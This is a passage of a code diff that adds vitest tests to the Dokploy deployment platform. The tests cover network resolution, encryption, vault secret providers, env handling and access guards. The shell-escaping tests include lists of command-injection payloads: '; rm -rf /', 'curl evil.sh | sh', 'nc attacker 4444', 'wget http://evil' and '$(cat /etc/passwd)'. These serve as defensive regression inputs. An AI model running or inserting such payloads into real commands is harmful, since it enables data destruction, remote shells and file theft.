expect(resolved).toEqual([{ Target: "dokploy-network" }]);
expect(findManyMock).not.toHaveBeenCalled();
});
test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
expect(resolved).toEqual([]);
});
test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
expect(resolved).toEqual([
{ Target: "dokploy-network" },
{ Target: "overlay-a" },
]);
});
test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
const override = [{ Target: "custom-net" }];
const resolved = await resolveServiceNetworks({ networkSwarm: override });
expect(resolved).toBe(override);
expect(findManyMock).not.toHaveBeenCalled();
});
@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"
@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});
@@ -0,0 +1,66 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});
@@ -0,0 +1,43 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, rmSync } from "node:fs";
import { join } from "node:path";
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
import { parse } from "dotenv";
import { afterEach, describe, expect, it } from "vitest";
// Unlike compose's .env, this one is read by the app's own build tooling
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
const appName = `env-file-literals-dockerfile-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
const dockerFilePath = join(codePath, "Dockerfile");
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
NESTED_JSON: '{"nested":{"a":1}}',
QUOTE_INSIDE: 'she said "hi"',
BACKSLASH: "back\\slash",
UNICODE: "héllo wörld 日本語 🚀",
};
describe("createEnvFileCommand", () => {
it("writes special environment values that a generic dotenv parser reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(cases)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
execFileSync("bash", ["-c", command]);
const written = readFileSync(join(codePath, ".env"), "utf8");
const parsed = parse(written);
for (const [key, value] of Object.entries(cases)) {
expect(parsed[key], key).toBe(value);
}
});
});
@@ -0,0 +1,104 @@
import type { ApplicationNested } from "@dokploy/server/utils/builders";
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
import { describe, expect, it } from "vitest";
const createApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
appName: "test-app",
buildType: "railpack",
sourceType: "git",
buildPath: "/",
railpackVersion: "0.15.4",
env: "TEST_VAR=one",
cleanCache: false,
environment: {
project: {
env: "",
},
env: "",
},
...overrides,
}) as unknown as ApplicationNested;
const getSecretsHash = (command: string) => {
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
if (!match?.[1]) {
throw new Error("secrets-hash build arg was not found");
}
return match[1];
};
describe("getRailpackCommand", () => {
it("includes secrets-hash without clean cache", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain("--build-arg secrets-hash=");
expect(command).not.toContain("cache-key=");
});
it("includes cache-key only when clean cache is enabled", () => {
const command = getRailpackCommand(
createApplication({
cleanCache: true,
}),
);
expect(command).toContain("--build-arg secrets-hash=");
expect(command).toContain("--build-arg cache-key=");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=one",
}),
);
const secondCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=two",
}),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
it("changes secrets-hash when referenced project or environment values change", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=one",
},
env: "SHARED_VALUE=alpha",
},
} as Partial<ApplicationNested>),
);
const secondCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=two",
},
env: "SHARED_VALUE=beta",
},
} as Partial<ApplicationNested>),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
});
+2
View File
@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
railpackVersion: "0.15.4",
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
+93
View File
@@ -0,0 +1,93 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});
+108
View File
@@ -0,0 +1,108 @@
import { prepareEnvironmentVariables } from "@dokploy/server/index";
import { describe, expect, it } from "vitest";
const projectEnv = `
ENVIRONMENT=staging
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
`;
const environmentEnv = `
NODE_ENV=production
POSTGRES_HOST=postgres.internal
POSTGRES_PORT=5432
REDIS_URL=redis://redis.internal:6379
`;
const serviceEnv = `
NODE_ENV=\${{environment.NODE_ENV}}
REDIS_URL=\${{environment.REDIS_URL}}
PORT=3000
`;
/**
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
* the service env, the environment env and the project env captured at deploy time.
*/
const fullContext = {
env: serviceEnv,
environment: {
env: environmentEnv,
project: {
env: projectEnv,
},
},
};
describe("prepareEnvironmentVariables for application rollback", () => {
it("resolves environment variables from the rollback snapshot", () => {
const result = prepareEnvironmentVariables(
fullContext.env,
fullContext.environment.project.env,
fullContext.environment.env,
);
expect(result).toEqual([
"NODE_ENV=production",
"REDIS_URL=redis://redis.internal:6379",
"PORT=3000",
]);
});
it("resolves project and environment variables together on rollback", () => {
const rollbackEnv = `
DATABASE_URL=\${{project.DATABASE_URL}}
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
ENVIRONMENT=\${{project.ENVIRONMENT}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
projectEnv,
environmentEnv,
);
expect(result).toEqual([
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
"POSTGRES_URL=postgres://postgres.internal:5432/app",
"ENVIRONMENT=staging",
]);
});
it("throws when the environment env of the snapshot is not passed", () => {
expect(() =>
prepareEnvironmentVariables(fullContext.env, projectEnv),
).toThrow("Invalid environment variable: environment.NODE_ENV");
});
it("maintains precedence: service > environment > project on rollback", () => {
const conflictingProjectEnv = `
NODE_ENV=project
API_URL=https://project.api.com
`;
const conflictingEnvironmentEnv = `
NODE_ENV=environment
API_URL=https://environment.api.com
`;
const rollbackEnv = `
NODE_ENV=service
PROJECT_API_URL=\${{project.API_URL}}
ENVIRONMENT_API_URL=\${{environment.API_URL}}
SELF_REFERENCE=\${{NODE_ENV}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
conflictingProjectEnv,
conflictingEnvironmentEnv,
);
expect(result).toEqual([
"NODE_ENV=service",
"PROJECT_API_URL=https://project.api.com",
"ENVIRONMENT_API_URL=https://environment.api.com",
"SELF_REFERENCE=service",
]);
});
});
+442
View File
@@ -0,0 +1,442 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const findMany = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
import {
resolveVaultReferences,
withResolvedVaultRefs,
} from "@dokploy/server/utils/vault";
import { azureClient } from "@dokploy/server/utils/vault/azure";
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
beforeEach(() => {
findMany.mockReset();
mockFetch.mockReset();
});
const scope = {
organizationId: "org-1",
projectId: "proj-1",
environmentId: "env-1",
};
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
describe("resolveVaultReferences", () => {
it("returns input untouched and skips the db when no refs are present", async () => {
const env = "FOO=bar\nBAZ=${{project.QUX}}";
const result = await resolveVaultReferences(env, scope);
expect(result).toBe(env);
expect(findMany).not.toHaveBeenCalled();
});
it("returns null/empty inputs unchanged", async () => {
expect(await resolveVaultReferences(null, scope)).toBeNull();
expect(await resolveVaultReferences("", scope)).toBe("");
});
it("throws when refs exist but no organization context is given", async () => {
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
).rejects.toThrow("not supported in this context");
});
it("throws for an unknown provider", async () => {
findMany.mockResolvedValue([]);
await expect(
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
).rejects.toThrow('Vault provider "missing" not found');
});
it("throws when the provider is not assigned to the project", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("throws when the provider is restricted to another environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("allows a provider restricted to the matching environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
},
]);
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
const result = await resolveVaultReferences(
"FOO=${{vault.prod.SECRET}}",
scope,
);
expect(result).toBe("FOO=value-1");
});
it("resolves refs through a doppler provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
);
const result = await resolveVaultReferences(
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
scope,
);
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is missing in the provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
await expect(
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
).rejects.toThrow('secret "MISSING" not found');
});
});
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
it("resolves entity env sources so sync interpolation sees real values", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
const entity = {
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
environment: {
environmentId: "env-1",
env: null,
project: {
projectId: "proj-1",
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
organizationId: "org-1",
},
},
};
const resolved = await withResolvedVaultRefs(entity);
const prepared = prepareEnvironmentVariables(
resolved.env,
resolved.environment.project.env,
resolved.environment.env,
);
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
});
it("resolves buildArgs and buildSecrets when present", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
const resolved = await withResolvedVaultRefs({
env: "FOO=bar",
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
buildSecrets: null,
environment: {
environmentId: "env-1",
env: null,
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
});
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
expect(resolved.buildSecrets).toBeNull();
expect(resolved.env).toBe("FOO=bar");
});
it.each([
["service env", { env: "SECRET=${{vault.locked.X}}" }],
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
])(
"rejects a ref to an unassigned provider placed in the %s",
async (_source, overrides) => {
findMany.mockResolvedValue([
{
name: "locked",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
const entity = {
env: (overrides as { env?: string }).env ?? "FOO=bar",
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
environment: {
environmentId: "env-1",
env:
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
project: {
projectId: "proj-1",
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
organizationId: "org-1",
},
},
};
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
"not enabled for this project/environment",
);
expect(mockFetch).not.toHaveBeenCalled();
},
);
it("rejects a ref restricted to another environment from the environment env", async () => {
findMany.mockResolvedValue([
{
name: "prod-only",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
withResolvedVaultRefs({
env: null,
environment: {
environmentId: "dev-env",
env: "SECRET=${{vault.prod-only.X}}",
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
}),
).rejects.toThrow("not enabled for this project/environment");
expect(mockFetch).not.toHaveBeenCalled();
});
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
expect(() =>
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
).toThrow("Unresolved vault reference");
});
it("keeps working without vault refs", () => {
const prepared = prepareEnvironmentVariables(
"FOO=${{project.BAR}}",
"BAR=baz",
);
expect(prepared).toEqual(["FOO=baz"]);
expect(findMany).not.toHaveBeenCalled();
});
});
describe("hashicorp client", () => {
const config = {
providerType: "hashicorp" as const,
url: "https://vault.example.com",
token: "hvs.token",
mount: "secret",
};
it("rejects refs without a field", async () => {
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod"]),
).rejects.toThrow("expected format <path>:<field>");
});
it("groups refs by path and picks fields from KV v2 data", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
);
const result = await hashicorpClient.getSecrets(config, [
"myapp/prod:USER",
"myapp/prod:PASS",
]);
expect(result).toEqual({
"myapp/prod:USER": "admin",
"myapp/prod:PASS": "pw",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://vault.example.com/v1/secret/data/myapp/prod",
);
});
it("throws when a field is missing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
).rejects.toThrow('field "MISSING" not found');
});
it("lists full path:field refs by walking directories", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/metadata?list=true")) {
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
}
if (url.includes("/metadata/myapp?list=true")) {
return jsonResponse({ data: { keys: ["prod"] } });
}
if (url.includes("/data/myapp/prod")) {
return jsonResponse({
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
});
}
if (url.includes("/data/shared")) {
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
}
return jsonResponse({}, false, 404);
});
const names = await hashicorpClient.listSecretNames?.(config);
expect(names).toEqual([
"myapp/prod:API_KEY",
"myapp/prod:DB_PASSWORD",
"shared:STRIPE_KEY",
]);
});
});
describe("azure client", () => {
const config = {
providerType: "azure" as const,
vaultUri: "https://my-vault.vault.azure.net",
tenantId: "tenant-1",
clientId: "client-1",
clientSecret: "secret-1",
};
it("authenticates and reads secrets by name", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com/tenant-1")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("/secrets/db-password?")) {
return jsonResponse({ value: "azure-pw" });
}
return jsonResponse({}, false, 404);
});
const result = await azureClient.getSecrets(config, ["db-password"]);
expect(result).toEqual({ "db-password": "azure-pw" });
});
it("throws a clear error for missing secrets", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
return jsonResponse({}, false, 404);
});
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found',
);
});
it("lists secret names from paged results", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("skiptoken")) {
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/second` }],
nextLink: null,
});
}
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/first` }],
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
});
});
const names = await azureClient.listSecretNames?.(config);
expect(names).toEqual(["first", "second"]);
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
await expect(
dopplerClient.getSecrets(
{ providerType: "doppler", serviceToken: "bad" },
["FOO"],
),
).rejects.toThrow("status 401");
});
});
@@ -0,0 +1,89 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// How git-provider commands escape a single user value before it reaches the shell.
const shellArg = (value: string) => quote([String(value ?? "")]);
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("git provider shell escaping (quote)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellArg(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellArg(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});
@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import {
canEditDeployGitSource,
getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({
query: {
@@ -0,0 +1,91 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});
@@ -0,0 +1,106 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// cloneGithubRepository builds a shell command; the only thing under test here
